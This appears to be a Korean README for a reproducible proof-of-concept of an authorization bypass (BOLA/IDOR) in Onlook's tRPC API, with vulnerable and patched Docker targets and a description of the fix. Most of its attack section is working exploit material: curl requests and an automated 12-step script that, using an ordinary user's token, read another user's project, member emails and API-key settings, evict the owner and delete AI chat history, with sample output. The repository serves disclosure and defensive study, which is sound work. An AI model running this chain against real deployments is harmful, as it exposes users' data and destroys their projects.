
Onlook의 tRPC API에 대한 재현 가능한 BOLA/IDOR PoC(CVE-2026-65013)로, 12단계 익스플로잇 체인, 취약 및 패치된 Docker 타깃, 기술 문서를 포함합니다.
재현 가능한 BOLA / IDOR PoC로, Onlook의 tRPC API에 존재합니다 (CVE-2026-65013).
인증된 모든 사용자는 자신의 UUID를 tRPC 프로시저에 전달하기만 하면 다른 사용자의 프로젝트, 멤버, AI 기록을 읽고, 수정하고, 삭제할 수 있습니다 (버전 <= 0.2.32).
| CVE | CVE-2026-65013 |
| Advisory | GHSA-j6x3-f5cf-2pg4 |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 취약 버전 | Onlook <= 0.2.32 |
| 패치 | commit 423e2e9 (PR onlook-dev/onlook#3129) |
Onlook은 백엔드를 tRPC로 노출하며, 프로시저는 클라이언트로부터 리소스 id를 직접 받습니다:
project.get({ projectId }) // 모든 프로젝트 읽기
member.remove({ projectId, userId }) // 누구든 추방
chat.conversation.delete({ conversationId }) // AI 기록 삭제
settings.get({ projectId }) // API 키가 포함된 settings
문제는 대부분이 호출자가 해당 프로젝트의 멤버인지 확인하지 않았다는 점입니다. Postgres (Drizzle) 연결은 Row Level Security가 면제된 슈퍼유저였기 때문에, 제어는 tRPC 코드에 있어야 했지만... 거기에 빠져 있었습니다.
verifyProjectAccess() helper는 이미 존재했지만 (일부 프로시저, 예: project.update/delete에만 적용됨), 나머지 surface는 클라이언트가 보낸 id를 신뢰했습니다: project.get, member.list, member.remove, invitation.list, chat.conversation.*, chat.message.*, branch.*, settings.*, frame.*…
인증은 문제가 아닙니다 (Supabase JWT는 정상 작동). 문제는 객체 단위 인가 (BOLA/IDOR)입니다: 공격자는 자신의 정상적인 세션을 사용해 피해자의 id에 접근합니다.
lib/authorization.js에는 빠져 있던 helper들 (verifyProjectAccess, verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess, verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess)이 포함되어 있습니다 — commit 423e2e9의 등가물입니다.lib/router.js는 enforceAuth가 활성화된 경우에만 이들을 호출합니다; 취약 모드에서는 프로시저가 검사 없이 실행됩니다 (실제 버그).Unauthorized or not found (UNAUTHORIZED)를 발생시켜, 리소스 존재 여부를 열거할 수 없게 합니다:
// chat.conversation.delete — 취약 (검사 없음) vs 패치됨:
enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
docker compose up -d --build
curl -s http://localhost:3000/health # {"status":"ok","fixed":false} → 취약
curl -s http://localhost:3001/health # {"status":"ok","fixed":true} → 패치됨
Docker는 target (취약 및 패치 버전)과
demo서비스를 실행합니다. 익스플로잇은 여러분의 머신에서 해당 target들을 대상으로 수행됩니다.
curl -s http://localhost:3000/demo/ids # 피해자(Alice) 시드의 id
이는 공격자가 UUID를 획득할 실제 경로 (공유된 preview 링크, 로그 referrer, 초대장…)를 대체합니다.
TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H 'content-type: application/json' \
-d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')
# 3a. Alice의 비밀 프로젝트 읽기 (GET, input={"json":...} 형식):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}
# 3b. 멤버 및 이메일 목록 조회 (프로젝트 외부인임에도):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
-H "Authorization: Bearer $TOKEN"
# 3c. Alice (owner)를 자신의 프로젝트에서 추방 (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'
# → {"result":{"data":{"json":true}}} ← (Alice는 더 이상 자신의 프로젝트에 없음)
# 3d. Alice의 AI 기록 삭제:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
-d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'
node exploit.js)체인의 12개 프로시저를 실행합니다 (프로젝트 읽기, Alice의 프로젝트 목록 조회, 이메일 필터링, owner 추방, 초대장 목록 조회, AI 기록 읽기/삭제, branches, apiKey가 포함된 settings, frames):
node exploit.js # :3000 (취약) 대상 → 유출
node exploit.js --target http://localhost:3001 --expect blocked # :3001 (패치됨) 대상
일반적인 출력 (취약):
💥 project.get → FILTRADO
💥 member.remove → FILTRADO (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.
패치된 버전 대상:
🛡️ project.get → BLOQUEADO (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.
익스플로잇은 취약 서버의 인메모리 데이터베이스를 변경합니다: 재실행하려면 해당 인스턴스를 재시작하세요 (
docker compose restart server).
npm run demo # 프로세스 내에서 취약 vs 패치 비교 (네트워크 없음), 12개 프로시저
bash test-local.sh # 종합 하네스: curl (advisory 형식) + :3100 및 :3101 대상 exploit, 실제 exit code
또는 Docker에서:
docker compose up -d demo
docker logs cve-2026-65013-demo
open http://localhost:3000 # (또는 패치 버전은 http://localhost:3001)
데모 계정:
project.getPreviewProjects), 서버 상태 (취약/패치됨), tRPC surface.💥 FILTRADO / 🛡️ BLOQUEADO 결과를 표시합니다.프론트엔드는 표현 계층일 뿐입니다: 취약점은
lib/router.js에 있으며, README의 curl 수동 흐름은 동일하게 유지됩니다.
.
├── Dockerfile node:22-alpine + deps + app
├── docker-compose.yml server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore excluye node_modules
├── .gitignore
├── package.json @trpc/[email protected], @trpc/client, superjson, zod
├── server.js HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js comparación vulnerable vs parcheado en proceso
├── test-local.sh batería local: curl (formato advisory) + exploits + exit code
├── lib/
│ ├── db.js base en memoria + seed (UUIDs estáticos y reproducibles)
│ ├── auth.js tokens de sesión HS256 (bien hechos a propósito)
│ ├── authorization.js helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│ └── router.js createAppRouter({ enforceAuth }) — el surface tRPC
├── public/ app "real" (login, dashboard, consola Red Team)
│ ├── index.html
│ ├── styles.css
│ └── app.js cliente tRPC manual (mismo wire format del advisory)
└── docs/
├── CVE-2026-65013.md documentación técnica de la CVE
└── ARQUITECTURA.md este repo explicado (mapa, wire format, extensión)
익스플로잇의 각 핵심 라인이 하는 일과 더 많은 프로시저로 확장하는 방법을 이해하려면:
docs/ARQUITECTURA.md §8-§9.
이 자료는 교육 및 보안 연구 목적으로만 제공됩니다. 익스플로잇은 자신이 소유한 애플리케이션이나 소유자의 서면 승인이 있는 경우에만 사용하세요. 제3자 시스템에 대한 이 기법의 무단 사용은 불법이며, 사용에 대한 책임은 사용자 본인에게 있습니다.
CVE 기술 문서: 근본 원인 (RLS 예외 + 잘못 배치된 helper), 실제 영향 범위, 공격 구조, 423e2e9 수정 사항의 줄별 분석, 완화 조치, CVE/advisory/PR 참조. |
docs/ARQUITECTURA.md | PoC 문서: 파일 맵, tRPC v10+superjson wire format, 데이터 모델, VULN vs FIX 스키마, 프로시저 테이블, PoC ↔ 실제 Onlook 매핑, 확장 가이드, 수동 검증/CI. |
project.update는 양쪽 모드에서 보호되어 "대조군" 역할을 합니다: helper가 존재했지만 잘못 배치되었다는 것을 보여줍니다.| 프로시저 | :3000 취약 | :3001 패치됨 |
|---|
project.get (타인 프로젝트) | 200 + 이름/메타데이터 | 401 Unauthorized or not found |
member.list (타인 이메일) | 200 + 이메일 | 401 |
member.remove (owner 추방) | 200 true | 401 |
chat.conversation.delete | 200 true | 401 |
settings.get (apiKey) | 200 + settings | 401 |
project.update (대조군: 이미 보호됨) | 401 | 401 |
| Password | 역할 |
|---|
[email protected] | alice123 | 비밀 프로젝트 소유자 |
[email protected] | bob123 | 공격자 |
[email protected] | charlie123 | Alice 프로젝트의 편집자 |